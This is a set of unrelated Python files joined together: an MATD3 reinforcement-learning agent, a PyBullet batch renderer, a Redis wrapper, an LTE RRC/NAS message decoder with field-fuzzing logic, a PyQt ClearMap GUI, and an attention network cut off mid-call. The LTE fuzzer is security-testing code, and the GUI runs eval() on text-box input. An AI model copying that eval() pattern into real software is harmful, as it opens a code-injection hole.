import copy
import os.path

import numpy as np
import torch
import torch.nn.functional as F

from networks import Actor, Critic_MATD3

class Coach_MATD3(object):
    def __init__(self, args, agent_id, writer):
        self.agent_id = agent_id
        self.max_action = args.coach_max_action
        self.action_dim = args.coach_action_dim
        self.lr_a = args.lr_a
        self.lr_c = args.lr_c
        self.gamma = args.gamma
        self.tau = args.tau
        self.use_grad_clip = args.use_grad_clip
        self.policy_noise = args.policy_noise
        self.noise_clip = args.noise_clip
        self.policy_update_freq = args.goal_update_freq
        self.actor_pointer = 0
        # Create an individual actor and critic for each agent according to the 'agent_id'
        self.actor = Actor(args, -1, True)
        self.critic = Critic_MATD3(args, True)
        self.actor_target = copy.deepcopy(self.actor)
        self.critic_target = copy.deepcopy(self.critic)

        self.actor_optimizer = torch.optim.Adam(self.actor.parameters(), lr=self.lr_a)
        self.critic_optimizer = torch.optim.Adam(self.critic.parameters(), lr=self.lr_c)
        self.writer = writer

    # Each agent selects actions based on its own local observations(add noise for exploration)
    def choose_action(self, obs, noise_std):
        obs = torch.unsqueeze(torch.tensor(obs, dtype=torch.float), 0)
        a = self.actor(obs).data.numpy().flatten()
        a = (a + np.random.normal(0, noise_std, size=self.action_dim)).clip(-self.max_action, self.max_action)
        return a

    def train(self, replay_buffer):
        self.actor_pointer += 1
        batch_obs, batch_goal, batch_reward, batch_obs_next = replay_buffer.sample()

        # Compute target_Q
        with torch.no_grad():  # target_Q has no gradient
            # Trick 1:target policy smoothing
            batch_a_next = self.actor_target(batch_obs_next)
            noise = (torch.randn_like(batch_a_next) * self.policy_noise).clamp(-self.noise_clip, self.noise_clip)
            batch_a_next = (batch_a_next + noise).clamp(-self.max_action, self.max_action)

            # Trick 2:clipped double Q-learning
            Q1_next, Q2_next = self.critic_target(batch_obs_next, batch_a_next)
            target_Q = batch_reward[self.agent_id] + self.gamma * torch.min(Q1_next, Q2_next)  # shape:(batch_size,1)

        # Compute current_Q
        current_Q1, current_Q2 = self.critic(batch_obs, batch_goal)  # shape:(batch_size,1)
        critic_loss = F.mse_loss(current_Q1, target_Q) + F.mse_loss(current_Q2, target_Q)
        self.writer.add_scalar('critic_loss_coach'.format(self.agent_id), critic_loss,
                               global_step=self.actor_pointer)

        # Optimize the critic
        self.critic_optimizer.zero_grad()
        critic_loss.backward()
        if self.use_grad_clip:
            torch.nn.utils.clip_grad_norm_(self.critic.parameters(), 10.0)
        self.critic_optimizer.step()

        # Trick 3:delayed policy updates
        if self.actor_pointer % self.policy_update_freq == 0:
            # Reselect the actions of the agent corresponding to 'agent_id', the actions of other agents remain unchanged
            batch_goal = self.actor(batch_obs)
            actor_loss = -self.critic.Q1(batch_obs, batch_goal).mean()  # Only use Q1
            self.writer.add_scalar('actor_loss_coach'.format(self.agent_id), actor_loss,
                                   global_step=self.actor_pointer)
            # Optimize the actor
            self.actor_optimizer.zero_grad()
            actor_loss.backward()
            if self.use_grad_clip:
                torch.nn.utils.clip_grad_norm_(self.actor.parameters(), 10.0)
            self.actor_optimizer.step()

            # Softly update the target networks
            for param, target_param in zip(self.critic.parameters(), self.critic_target.parameters()):
                target_param.data.copy_(self.tau * param.data + (1 - self.tau) * target_param.data)

            for param, target_param in zip(self.actor.parameters(), self.actor_target.parameters()):
                target_param.data.copy_(self.tau * param.data + (1 - self.tau) * target_param.data)

    def save_model(self, env_name, algorithm, number, total_steps, agent_id):
        if not os.path.exists("./model/{}".format(env_name)):
            os.mkdir("./model/{}".format(env_name))
        torch.save(self.actor.state_dict(),
                   "./model/{}/{}_actor_number_{}_step_{}k_coach.pth".format(env_name, algorithm, number,
                                                                             int(total_steps / 1000), agent_id))


import torch
import numpy as np
import multiprocessing

from cosypose.lib3d.transform_ops import invert_T
from .bullet_scene_renderer import BulletSceneRenderer

def init_renderer(urdf_ds, preload=True):
    renderer = BulletSceneRenderer(urdf_ds=urdf_ds,
                                   preload_cache=preload,
                                   background_color=(0, 0, 0))
    return renderer

def worker_loop(worker_id, in_queue, out_queue, object_set, preload=True):
    renderer = init_renderer(object_set, preload=preload)
    while True:
        kwargs = in_queue.get()
        if kwargs is None:
            return
        obj_infos = kwargs['obj_infos']
        cam_infos = kwargs['cam_infos']
        render_depth = kwargs['render_depth']
        is_valid = np.isfinite(obj_infos[0]['TWO']).all() \
            and np.isfinite(cam_infos[0]['TWC']).all() \
            and np.isfinite(cam_infos[0]['K']).all()
        if is_valid:
            cam_obs = renderer.render_scene(cam_infos=cam_infos, obj_infos=obj_infos,
                                            render_depth=render_depth)
            images = np.stack([d['rgb'] for d in cam_obs])
            depth = np.stack([d['depth'] for d in cam_obs]) if render_depth else None
        else:
            res = cam_infos[0]['resolution']
            images = np.zeros((1, min(res), max(res), 3), dtype=np.uint8)
            depth = np.zeros((1, min(res), max(res)), dtype=np.float32)
        out_queue.put((kwargs['data_id'], images, depth))

class BulletBatchRenderer:
    def __init__(self, object_set, n_workers=8, preload_cache=True):
        self.object_set = object_set
        self.n_workers = n_workers
        self.init_plotters(preload_cache)

    def render(self, obj_infos, TCO, K, resolution=(240, 320), render_depth=False):
        TCO = torch.as_tensor(TCO).detach()
        TOC = invert_T(TCO).cpu().numpy()
        K = torch.as_tensor(K).cpu().numpy()
        bsz = len(TCO)
        assert TCO.shape == (bsz, 4, 4)
        assert K.shape == (bsz, 3, 3)

        # NOTE: Could be faster with pytorch 3.8's sharedmemory
        for n in np.arange(bsz):
            obj_info = dict(
                name=obj_infos[n]['name'],
                TWO=np.eye(4)
            )
            cam_info = dict(
                resolution=resolution,
                K=K[n],
                TWC=TOC[n],
            )
            kwargs = dict(cam_infos=[cam_info], obj_infos=[obj_info], render_depth=render_depth)
            if self.n_workers > 0:
                kwargs['data_id'] = n
                self.in_queue.put(kwargs)
            else:
                cam_obs = self.plotters[0].render_scene(**kwargs)
                images = np.stack([d['rgb'] for d in cam_obs])
                depth = np.stack([d['depth'] for d in cam_obs]) if render_depth else None
                self.out_queue.put((n, images, depth))

        images = [None for _ in np.arange(bsz)]
        depths = [None for _ in np.arange(bsz)]
        for n in np.arange(bsz):
            data_id, im, depth = self.out_queue.get()
            images[data_id] = im[0]
            if render_depth:
                depths[data_id] = depth[0]
        images = torch.as_tensor(np.stack(images, axis=0)).pin_memory().cuda(non_blocking=True)
        images = images.float().permute(0, 3, 1, 2) / 255

        if render_depth:
            depths = torch.as_tensor(np.stack(depths, axis=0)).pin_memory().cuda(non_blocking=True)
            depths = depths.float()
            return images, depths
        else:
            return images

    def init_plotters(self, preload_cache):
        self.plotters = []
        self.in_queue = multiprocessing.Queue()
        self.out_queue = multiprocessing.Queue()

        if self.n_workers > 0:
            for n in range(self.n_workers):
                plotter = multiprocessing.Process(target=worker_loop,
                                                  kwargs=dict(worker_id=n,
                                                              in_queue=self.in_queue,
                                                              out_queue=self.out_queue,
                                                              preload=preload_cache,
                                                              object_set=self.object_set))
                plotter.start()
                self.plotters.append(plotter)
        else:
            self.plotters = [init_renderer(self.object_set, preload_cache)]

    def stop(self):
        if self.n_workers > 0:
            for p in self.plotters:
                self.in_queue.put(None)
            for p in self.plotters:
                p.join()
                p.terminate()
        self.in_queue.close()
        self.out_queue.close()

    def __del__(self):
        self.stop()


from config import config  # config.py中包含了redis的一些信息，比如host, port, 数据库名称
from flask import current_app
import redis

class Redis(object):
    """
    redis数据库操作
    """

    @staticmethod
    def _get_r():
        # 当Redis类作为一个appAPI使用时，例如在redisdbOperationAPI.py中调用，会被注册进蓝本，因此可直接从current_app中获取配置信息
        # host = current_app.config['REDIS_HOST']
        # port=current_app.config['REDIS_PORT']
        # db=current_app.config['REDIS_DB']

        # 因为Redis类会在modelInferenceAPI直接使用，因此暂时不从current_app中获取配置信息，而是直接从config中获取
        host = config.redis_map['REDIS_HOST']
        port = config.redis_map['REDIS_PORT']
        db = config.redis_map['REDIS_DB']
        r = redis.StrictRedis(host, port, db)
        return r

    @classmethod
    def write(self, key, value, expire=None):
        """
        写入键值对
        """
        # 判断是否有过期时间，没有就设置默认值
        if expire:
            expire_in_seconds = expire
        else:
            # expire_in_seconds = current_app.config['REDIS_EXPIRE']
            expire_in_seconds = expire
        r = self._get_r()
        r.set(key, value, ex=expire_in_seconds)

    @classmethod
    def read(self, key):
        """
        读取键值对内容
        """
        r = self._get_r()
        value = r.get(key)
        return value.decode('utf-8') if value else value

    @classmethod
    def hset(self, name, key, value):
        """
    	写入hash表
    	"""
        r = self._get_r()
        r.hset(name, key, value)

    @classmethod
    def hmset(self, key, *value):
        """
        读取指定hash表的所有给定字段的值
        """
        r = self._get_r()
        value = r.hmset(key, *value)
        return value

    @classmethod
    def hget(self, name, key):
        """
        读取指定hash表的键值
        """
        r = self._get_r()
        value = r.hget(name, key)
        return value.decode('utf-8') if value else value

    @classmethod
    def hgetall(self, name):
        """
        获取指定hash表所有的值
    	"""
        r = self._get_r()
        return r.hgetall(name)

    @classmethod
    def delete(self, *names):
        """
        删除一个或者多个
        """
        r = self._get_r()
        r.delete(*names)

    @classmethod
    def hdel(self, name, key):
        """
		删除指定hash表的键值
        """
        r = self._get_r()
        r.hdel(name, key)

    @classmethod
    def expire(self, name, expire=None):
        """
        设置过期时间
        """
        if expire:
            expire_in_seconds = expire
        else:
            expire_in_seconds = current_app.config['REDIS_EXPIRE']
        r = self._get_r()
        r.expire(name, expire_in_seconds)


from const      import *
from test_cases import *

from pycrate_asn1dir            import RRCLTE
from pycrate_mobile.NAS         import *
from pycrate_asn1rt.codecs      import _with_json
from pycrate_asn1rt.asnobj_ext  import *
from CryptoMobile               import CM

import json

class Pdu:
    sep_char = "|  "

    def __init__(self, _pdu, _is_sdu, _msg_number):
        # type: (Pdu, bytes, bool, int) -> Pdu

        # The Packet Data Unit (as bytes)
        self.pdu = _pdu
        # The Packet Data Unit (as struct)
        self.pdu_dict = 0
        # Decoded message as String
        self.decoded_msg = ""
        # True if is UE -> eNB (uplink)
        self.is_sdu = _is_sdu
        # Number of the message (starting from 0)
        self.msg_number = _msg_number
        # Counter of the Struct raw (used as index of access)
        self.counter = 0
        # True if PDU has a NAS message inside
        self.has_nas = False
        # NAS messages (as bytes)
        self.nas = []
        # NAS messages (as json)
        self.nas_json = []
        if self.is_sdu:
            self.msg_type = RRCLTE.EUTRA_RRC_Definitions.UL_DCCH_Message
        else:
            self.msg_type = RRCLTE.EUTRA_RRC_Definitions.DL_DCCH_Message

    # fuzz indicates if a field has to be changed, fuzz_index means there's a fuzzing procedure (test all fields)
    def decode(self, print_info=True, decodeNAS=True, fuzz=False, row=0, new_val=0, fuzz_index=None, new_pdu=True):
        self.msg_type.from_uper(self.pdu)
        if new_pdu:
            self.pdu_dict = self.msg_type()

        self.decoded_msg = ""
        self.counter = 0
        self.nas = []
        self.nas_json = []
        # TODO: reimposta il Correct_test e Correct_ws_test a True e metti delf.debug_extra sotto print(self.decoded_mesg) e vedi se fallisce con il Radio link failure
        self.debug_extra()

        self.parse_dict(0, 0, self.nas, initial_dict=self.pdu_dict, print_info=print_info, fuzz=fuzz, row=row, content=new_val, fuzz_index=fuzz_index)
        if print_info:
            self.decoded_msg += '\n'
            print(self.decoded_msg)

        if fuzz_index is not None:
            if not fuzz_index.has_next_input and self.counter <= fuzz_index.field + 1:
                fuzz_index.has_next_field = False

        if len(self.nas) != 0:
            self.has_nas = True
            print("NAS Messages: ", self.nas)
        else:
            print("No NAS messages")
        if self.has_nas and decodeNAS:
            for e in self.nas:
                self.decode_nas(e, self.is_sdu, print_info=True)

    def encode(self, asHexString=False):
        try:
            if asHexString:
                return self.msg_type.to_uper(self.pdu_dict).hex()
            else:
                return self.msg_type.to_uper(self.pdu_dict)
        except Exception:
            # NOTE: Raising an exception if the encoding fails is wrong! It would bring a lot of
            # "False" exception which should not be reported
            print(FZ_PREFIX, "Could not encode PDU, returning original PDU")
            if asHexString:
                return self.pdu.hex()
            else:
                return self.pdu

    # Utilities
    def parse_dict(self, container, container_key, nas_info_list, index=0, initial_dict=None, print_info=True, fuzz=False, row=0, content=0, fuzz_index=None):
        # type: (Pdu, object, object, list, int, dict, bool, bool, int, object, object) -> object
        if initial_dict is None:
            initial_dict = container[container_key]
        for key in initial_dict:
            if print_info:
                # print(index * self.sep_char + "KEY " + key, end=' ')
                self.decoded_msg += str(index * self.sep_char) + "KEY " + str(key) + ' '
            self.recursor(initial_dict, key,  nas_info_list, index, print_info=print_info, fuzz=fuzz, row=row, content=content, fuzz_index=fuzz_index)
            if key == "dedicatedInfoNAS":
                nas_info_list.append(initial_dict[key])
            elif key == "dedicatedInfoType":
                nas_info_list.append(initial_dict[key][1])
            elif key == "dedicatedInfoNASList":
                for e in initial_dict[key]:
                    nas_info_list.append(e)

        return

    def parse_tuple(self, container, container_key, nas_info_list, index=0, print_info=True, fuzz=False, row=0, content=0, fuzz_index=None):
        # type: (Pdu, object, object, list, int, bool,  bool, int, object, object) -> object

        # Necessary conversion to enable modification to the tuple
        container[container_key] = list(container[container_key])

        for j in range(0, len(container[container_key])):
            if print_info:
                # print(index * self.sep_char, end='')
                self.decoded_msg += str(index * self.sep_char)
            self.recursor(container[container_key], j, nas_info_list, index, print_info=print_info, fuzz=fuzz, row=row, content=content, fuzz_index=fuzz_index)

        container[container_key] = tuple(container[container_key])
        return

    def recursor(self, container, container_key, nas_info_list, index, print_info=True, fuzz=False, row=0, content=None, fuzz_index=None):
        if print_info:
            elem_type = str.upper(type(container[container_key]).__name__)
            # print(elem_type, end=' ')
            self.decoded_msg += elem_type + ' '
        if isinstance(container[container_key], dict):
            if print_info:
                # print("")
                self.decoded_msg += '\n'
            self.parse_dict(container, container_key, nas_info_list, index + 1, print_info=print_info, fuzz=fuzz, row=row, content=content, fuzz_index=fuzz_index)
        elif isinstance(container[container_key], tuple) or isinstance(container[container_key], list):
            if print_info:
                # print("")
                self.decoded_msg += '\n'
            self.parse_tuple(container, container_key, nas_info_list, index + 1, print_info=print_info, fuzz=fuzz, row=row, content=content, fuzz_index=fuzz_index)
        else:
            if print_info:
                if elem_type == "BYTES":
                    # print(container[container_key].hex(), "(", self.counter, ")")
                    self.decoded_msg += container[container_key].hex() + "(" + str(self.counter) + ")\n"
                else:
                    # print(container[container_key], "(", self.counter, ")")
                    self.decoded_msg += str(container[container_key]) + "(" + str(self.counter) + ")\n"

            # Change single value (no fuzzing)
            if fuzz and row == self.counter:
                print("CHANGED")
                container[container_key] = content

            # Fuzz multiple values
            if fuzz_index is not None:
                if self.msg_number == fuzz_index.message and self.counter == fuzz_index.field:
                    print("FUZZED")
                    # If the element type is not in the defined ones (BYTE, STRING, Ecc..) raise exception and switch to the next field
                    if elem_type not in TEST_VALUES:
                        print(FZ_PREFIX, "Unspecified type:", elem_type, "at position", self.counter)
                        fuzz_index.has_next_input = False
                        raise Exception("Unspecified type: " + elem_type)

                    # Assign the test values according to the element type
                    test_values = TEST_VALUES[elem_type]

                    container[container_key] = test_values[fuzz_index.test_input_index]
                    # If last value to be tested
                    if fuzz_index.test_input_index >= len(test_values) - 1:
                        fuzz_index.has_next_input = False

            self.counter += 1

        return

    def decode_nas(self, data, is_uplink, recursive=True, print_info=True):
        pdu = data
        m = 0
        e = 0
        try:
            if is_uplink:
                m, e = parse_NAS_MO(pdu)
            else:
                m, e = parse_NAS_MT(pdu)

            v = m.get_val()
            t = m.to_json() + "\n"
            self.nas_json.append(t)

            if print_info:
                print("[DEBUG] Json NAS:", str.upper(type(t).__name__), t.replace("\n", "\n\t") + "\n")
            if recursive:
                self.parse_nas(t, is_uplink, print_info=print_info)
            if CORRECT_NAS_TEST:
                assert (e == 0)
                m.reautomate()
                assert (m.get_val() == v)
                m.set_val(v)
                assert (m.to_bytes() == pdu)
                m.from_json(t)
                assert (m.get_val() == v)
        # TODO: Handle Assertion error to raise another exception
        except AssertionError as error:
            print("Assertion Error")
            raise error
        except Exception:
            print(FZ_PREFIX, "Could not Decode Nas (Probably modified by fuzzer)")

    def parse_nas(self, t, is_uplink, print_info=True):
        j = json.loads(t)
        keys = list(j.keys())
        for e in j[keys[0]]:
            inner_keys = list(e.keys())
            if inner_keys == ["NASMessage"]:
                print("\nInner NAS Message:")
                self.decode_nas(unhexlify(e["NASMessage"]), is_uplink, False, print_info=print_info)
        if CORRECT_NAS_TEST:
            assert (keys == ["EMMSecProtNASMessage"] or
                    keys == ["EMMIdentityRequest"] or
                    keys == ["EMMAuthenticationRequest"] or
                    keys == ["EMMAuthenticationResponse"] or
                    keys == ["EMMAttachRequest"] or
                    keys == ["EMMIdentityResponse"] or
                    keys == ["EMMDetachRequestMO"])

    def debug_extra(self):
        if DEBUG_PDU_PRINT:
            print("[DEBUG] JSON Format\n" + self.msg_type.to_jer())
            print("[DEBUG] Dict print\n", self.msg_type())

        if CORRECT_TEST:
            ret = self.msg_type.to_uper()
            # TODO: in some cases, those two bytes sequence are different even if the decode is the same
            # TODO: instead of comparing bytes, compare the resulting struct (should be the same)
            assert (ret == self.pdu)

        if CORRECT_WS_TEST:
            val = self.msg_type()
            self.msg_type.from_uper_ws(self.pdu)
            val_ws = self.msg_type()
            struct = self.msg_type._struct()
            ret = self.msg_type.to_uper_ws()
            assert (ret == self.pdu)
            assert (val == val_ws)
            assert (self.msg_type._struct() == struct)
            txt = self.msg_type.to_asn1()
            self.msg_type.from_asn1(txt)
            assert (self.msg_type() == val)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu Jun 21 18:34:51 2018

@author: tomtop
"""

import sys, os;
from natsort import natsorted;
from PyQt5.QtWidgets import QApplication, QWidget, QPushButton,\
                            QGroupBox, QDialog,\
                            QVBoxLayout, QGridLayout, QLabel,\
                            QLineEdit, QTabWidget;
from PyQt5.QtCore import QCoreApplication;
import ClearMap.Tomek_Utilities as ut;
import Parameters_Raw as p;

class createObject() :

    def __init__(self) :
        pass;

class selectionMenu(QDialog):

   def __init__(self, folders, parent=None):
      super(selectionMenu, self).__init__(parent)

      self.title = 'Clearmap GUI v1.0'
      self.right = 10;
      self.left = 10;
      self.width = 320;
      self.height = 100;
      self.toggle = None;

      self.folders = folders;
      self.number = len(self.folders);

      self.buttons2Create = ["Stiching","Resamp_Auto","Resamp_cFOS",\
                            "Align_Auto","Align_Template","Cell_Detect"\
                            ,"Heatmap","cFOS_for_Annotation","all","none"];

      self.textboxes2Create = ["orient","bgthresh","csthresh","cfosX","cfosY","cfosZ"];

      self.initUI();

   def initUI(self) :

      self.setWindowTitle(self.title);
      self.setGeometry(self.left,self.right,self.width,self.height);

      self.mainLayout = QVBoxLayout();

      self.tabs = QTabWidget();

      self.tab1 = QWidget();
      self.tabs.addTab(self.tab1,"Operations");

      self.createTab1Layout();
      self.tab1.layout = QVBoxLayout();
      self.tab1.layout.addWidget(self.GroupBoxTab1);
      self.tab1.setLayout(self.tab1.layout)

      self.tab2 = QWidget();
      self.tabs.addTab(self.tab2,"Parameters");

      self.createTab2Layout();
      self.tab2.layout = QVBoxLayout();
      self.tab2.layout.addWidget(self.GroupBoxTab2);
      self.tab2.setLayout(self.tab2.layout)

      self.mainLayout.addWidget(self.tabs);
      self.setLayout(self.mainLayout);

      self.show();

   def createTab1Layout(self) :

      self.GroupBoxTab1 = QGroupBox("Folders in the Working Directory");
      layout = QGridLayout();

      self.textTab1 = {};
      self.buttons = {};

      self.checked = {};

      y = 0;

      for n,folder in natsorted(enumerate(self.folders)) :

          self.textTab1[folder] = createObject();
          self.textTab1[folder].text = QLabel(folder);
          layout.addWidget(self.textTab1[folder].text, n, y);
          self.buttons[folder] = createObject();
          self.buttons[folder].row = n;

          for button in self.buttons2Create :

              setattr(self.buttons[folder], button, QPushButton(button));
              attr = getattr(self.buttons[folder], button);
              attr.setAutoDefault(False);
              attr.setCheckable(True);

              if button == 'all' :
                  attr.clicked.connect(lambda state, x=folder, y=button\
                                       : self.toggleAllHandler(x,y));

              elif button == 'none' :
                  attr.clicked.connect(lambda state, x=folder, y=button\
                                       : self.toggleAllHandler(x,y));

              layout.addWidget(attr, n, y+1);

              y+=1;

          y = 0;

      self.ApplyButton = QPushButton("Apply");
      self.ApplyButton.setAutoDefault(False);
      self.ApplyButton.setCheckable(True);
      layout.addWidget(self.ApplyButton, self.number+1, len(self.buttons2Create));
      self.ApplyButton.clicked.connect(self.applyChanges);

      self.QuitButton = QPushButton("Quit");
      self.QuitButton.setAutoDefault(False);
      self.QuitButton.setCheckable(True);
      layout.addWidget(self.QuitButton, self.number+1, len(self.buttons2Create)-1);
      self.QuitButton.clicked.connect(self.quitApplication);

      self.GroupBoxTab1.setLayout(layout);

   def createTab2Layout(self) :

      self.GroupBoxTab2 = QGroupBox("Folders in the Working Directory");
      layout = QGridLayout();

      self.textTab2 = {};
      self.textbox = {};

      self.bgthresholds = {};
      self.csthresholds = {};
      self.orients = {};
      self.cfosX = {};
      self.cfosY = {};
      self.cfosZ = {};

      for n,t in enumerate(self.textboxes2Create) :

          label = QLabel(t);

          layout.addWidget(label, 0, n+1);
          layout.setColumnStretch(0, 1);

      y = 0;

      for n,folder in natsorted(enumerate(self.folders)) :

          self.textTab2[folder] = createObject();
          self.textTab2[folder].text = QLabel(folder);
          layout.addWidget(self.textTab2[folder].text, n+1, y);
          self.textbox[folder] = createObject();
          self.textbox[folder].row = n+1;

          for textbox in self.textboxes2Create :

              setattr(self.textbox[folder], textbox, QLineEdit());
              attr = getattr(self.textbox[folder], textbox);

              if textbox == "bgthresh" :

                  attr.setFixedWidth(40);
                  attr.setText("{0}".format(p.detectCellShapeParameter["threshold"]));
                  attr.setToolTip("Background Threshold");

              elif textbox == "csthresh" :

                  attr.setFixedWidth(60);
                  attr.setText("{0}".format(p.thresholdPointParameter["threshold"]));
                  attr.setToolTip("Cell Size Threshold");

              elif textbox == "orient" :

                  attr.setFixedWidth(60);
                  attr.setText("{0}".format(p.FinalOrientation));
                  attr.setToolTip("Brain Orientation");

              elif textbox == "cfosX" :

                  attr.setFixedWidth(100);
                  attr.setText("{0}".format(p.cFosDetectionRange["x"]));
                  attr.setToolTip("cFOS X");

              elif textbox == "cfosY" :

                  attr.setFixedWidth(100);
                  attr.setText("{0}".format(p.cFosDetectionRange["y"]));
                  attr.setToolTip("cFOS Y");

              elif textbox == "cfosZ" :

                  attr.setFixedWidth(100);
                  attr.setText("{0}".format(p.cFosDetectionRange["z"]));
                  attr.setToolTip("cFOS Z");

              layout.addWidget(attr, n+1, y+1);

              y+=1;

          y = 0;

          layout.setColumnStretch(n+1, 1);

      self.GroupBoxTab2.setAlignment(0);
      self.GroupBoxTab2.setLayout(layout);

   def toggleAllHandler(self,folder,button) :

      attr = getattr(self.buttons[folder],button);
      row = self.buttons[folder].row;

      if attr.isChecked():

          if button == "all" :
              self.toggle = True;
          elif button == "none" :
              self.toggle = False;
          self.toggleAll(row);

      else:
          pass;

   def toggleAll(self,row) :

      for key in self.buttons.keys() :
          if self.buttons[key].row == row :
              for button in self.buttons2Create :
                  attr = getattr(self.buttons[key],button);
                  if button != "all" and button != "none" :
                       attr.setChecked(self.toggle);
                  if button == "all" or button == "none" :
                       attr.setChecked(False);

   def applyChanges(self) :

      if self.ApplyButton.isChecked() :

          for key,value in zip(self.textbox.keys(),self.textbox.values()) :

              attr = getattr(value,"bgthresh");
              bgthresh = attr.text();
              self.bgthresholds[key] = eval(bgthresh);

              attr = getattr(value,"csthresh");
              csthresh = attr.text();
              self.csthresholds[key] = eval(csthresh);

              attr = getattr(value,"orient");
              orient = attr.text();
              self.orients[key] = eval(orient);

              attr = getattr(value,"cfosX");
              cfosX = attr.text();
              if cfosX == "<built-in function all>" :
                  self.cfosX[key] = "all";
              else :
                  self.cfosX[key] = eval(cfosX);

              attr = getattr(value,"cfosY");
              cfosY = attr.text();
              if cfosY == "<built-in function all>" :
                  self.cfosY[key] = "all";
              else :
                  self.cfosY[key] = eval(cfosY);

              attr = getattr(value,"cfosZ");
              cfosZ = attr.text();
              if cfosZ == "<built-in function all>" :
                  self.cfosZ[key] = "all";
              else :
                  self.cfosZ[key] = eval(cfosZ);

          for key,value in zip(self.buttons.keys(),self.buttons.values()) :
              temp = "";
              for buttons in self.buttons2Create :
                  if buttons != "all" and buttons != "none" and buttons != "thresh" :
                      attr = getattr(value,buttons);
                      if attr.isChecked() :
                          temp+="T";
                      else :
                          temp+="F";
              self.checked[key] = temp;
              temp = "";

          QCoreApplication.instance().quit();

   def quitApplication(self) :

      if self.QuitButton.isChecked() :
          QCoreApplication.instance().quit();

def main(folders):

    if not QApplication.instance():
        app = QApplication(sys.argv)
    else:
        app = QApplication.instance()

    GUI = selectionMenu(folders);

    clickedFolders = GUI.checked;
    bgthresholds = GUI.bgthresholds;
    csthresholds = GUI.csthresholds;
    orients = GUI.orients;
    cfosX = GUI.cfosX;
    cfosY = GUI.cfosY;
    cfosZ = GUI.cfosZ;

    parameters = {
            "operations" : clickedFolders,
            "bgthresholds" : bgthresholds,
            "csthresholds" : csthresholds,
            "orients" : orients,
            "cfosX" : cfosX,
            "cfosY" : cfosY,
            "cfosZ" : cfosZ,
            };

    return app.exec_(), parameters;
#    sys.exit(app.exec_());

def launchGUI(fd,experiment) :

    print(ut.coloredMessage('[INFO] Automatic mode selected, GUI_Clearmap used','darkgreen'));

    folders = [];

    for folder in natsorted(os.listdir(fd)) :
        if folder.split('-')[0] == experiment or folder.split('_')[0] == experiment :
            if os.path.isdir(os.path.join(fd,folder)) :
                folders.append(folder);

    _,parameters = main(folders);

    return parameters;

#if __name__ == '__main__':
#    main();


# import numpy as np
import torch as T
import torch.nn as nn
import torch.nn.functional as F
# import torch.distributions as D
# from .Optimizer import RAdam
from adabelief_pytorch import AdaBelief
from torch.optim.lr_scheduler import MultiStepLR
from app.APN.model.aux.attention import attention
from app.APN.model.aux.mapping import mapping

class network(nn.Module):

    def __init__(
        self,
        features,  # number features
        outcomes,  # number outcomes
        d_m,
        N=None,
        d_l=4,
        sample=True,
        lr=1e-3,
        scheduler=None,
        regr=1e-10,
        loss=nn.BCELoss(),
        init_min=0.5,
        init_max=0.5
    ):
        super(network, self).__init__()

        self.features = features
        self.outcomes = outcomes
        self.d_m = d_m

        if N is not None:
            self.N = nn.Parameter(
                T.tensor(N),
                requires_grad=False
                )
        else:
            self.N = nn.Parameter(
                T.randint(100, (8, 2)),
                requires_grad=False
                )

        # set up for concrete distribution training mask
        self.weight_regulariser = 1e-6
        self.dropout_regulariser = 1e-7
        self.p_logit = nn.Parameter(
            T.empty(outcomes, features, 1).uniform_(init_min, init_max))
        self.p = T.sigmoid(self.p_logit)
        self.conc_reg = 0.0

        self.xmap = mapping(
            self.features,
            self.outcomes,
            d_m,
            layers=[10, 10, 10]
            )
        self.x_attn = nn.Parameter(T.randn(1, self.features, self.d_m*2))

        self.xattn = attention(
            d_q=d_m,
            d_k=d_m,
            d_v=d_m*2,
            d_m=d_m*2
        )

        self.ffn = nn.Sequential(
            nn.Linear(d_m, d_m),
            nn.Softplus(),
            nn.Linear(d_m, d_m),
        )
        self.attn = attention(
            d_q=d_m,
            d_k=d_m,
            d_v=d_m,
            d_m=d_m)

        self.y_attn = nn.Parameter(T.randn(1, self.outcomes, self.d_m))

        self.scaling = nn.Parameter(T.randn(self.outcomes, self.features))

        self.decoder_uni = nn.Sequential(
            nn.Linear(d_m, 10),
            nn.Softplus(),
            nn.Linear(10, 10),
            nn.Softplus(),
            nn.Linear(10, 2),
            nn.Softplus(),
        )
        self.decoder_full = nn.Sequential(
            nn.Linear(d_m, 10),
            nn.Softplus(),
            nn.Linear(10, 10),
            nn.Softplus(),
            nn.Linear(10, 2),
            nn.Softplus(),
        )

        self.sample = sample
        self.loss_fn = loss
        # self.optim = RAdam(self.parameters(), lr=lr)
        self.optim = AdaBelief(
            self.parameters(),
            lr=lr,
            eps=1e-16,
            betas=(0.9, 0.999),
            weight_decouple=True,
            weight_decay=1e-10,
            rectify=True,
            fixed_decay=False,
            amsgrad=False
            )
        self.regr = regr
        self.scheduler1 = MultiStepLR(self.optim, milestones=[15], gamma=0.1)
        self.kld = 0
        self.reg = 0
        self.alt = [1, 1]
        self.loss_1 = 0
        self.loss_1_alt = 0
        self.loss_2 = 0
        self.scaler_max = 1

    def forward(self, xv, yv=None, training=False):
        # find mask of missing vars, reduce y_attn, run attn
        x_mask = (xv != -1).unsqueeze(1)  # (batch, 1, x)

        xs = xv.shape
        if yv is not None:
            y_mask = (yv != -1)
            y_mask_ = y_mask.unsqueeze(2).repeat(1, 1, xs[1]) & x_mask
        # (batch, y, x)

        # find count values for beta prior
        N = self.N.unsqueeze(0)
        N = N.repeat(xs[0], 1, 1)

        # initialize beta prior with baseline
        prior_params = (N / N[:, :, 1:2])  # (b, y, 2)

        # map each feature to latent space
        xm_ = self.xmap(xv)  # (b,x,embed)
        xm = xm_.detach()

        x_attn = self.x_attn.repeat(xs[0], 1, 1)
        xshift = x_attn[:, :, :self.d_m] + xm*x_attn[:, :, self.d_m:]
        # concrete distribution training mask on mapped values
        if training:
            _, conc_mask = self._concrete_mask(xm_, y_mask)  # (b, f, 1)
            # xm = xm_.detach()
            x_mask_ = x_mask.to(T.long) * conc_mask.permute(0, 2, 1).to(T.long)

            # concrete distribution regularisation terms
            sum_of_squares = xm_.pow(2).sum(-1).unsqueeze(1)  # (b, 1, x)
            weights_reg = (self.weight_regulariser * sum_of_squares
                           / (1.0 - self.p.permute(2, 0, 1)))\
                .sum(2).sum(1).mean()
            dropout_reg = self.p * T.log(self.p)
            dropout_reg += (1.0 - self.p) * T.log(1.0 - self.p)
            dropout_reg *= self.dropout_regulariser * self.d_m
            self.regularisation = weights_reg + dropout_reg.sum()  # (1, d_m)
            xshift = xshift * conc_mask
        else:
            x_mask_ = x_mask

        # pass input data through attn network

        x_X, attn_x, _ = self.xattn(
            xshift, xshift, x_mask_,
            apply_v=True,
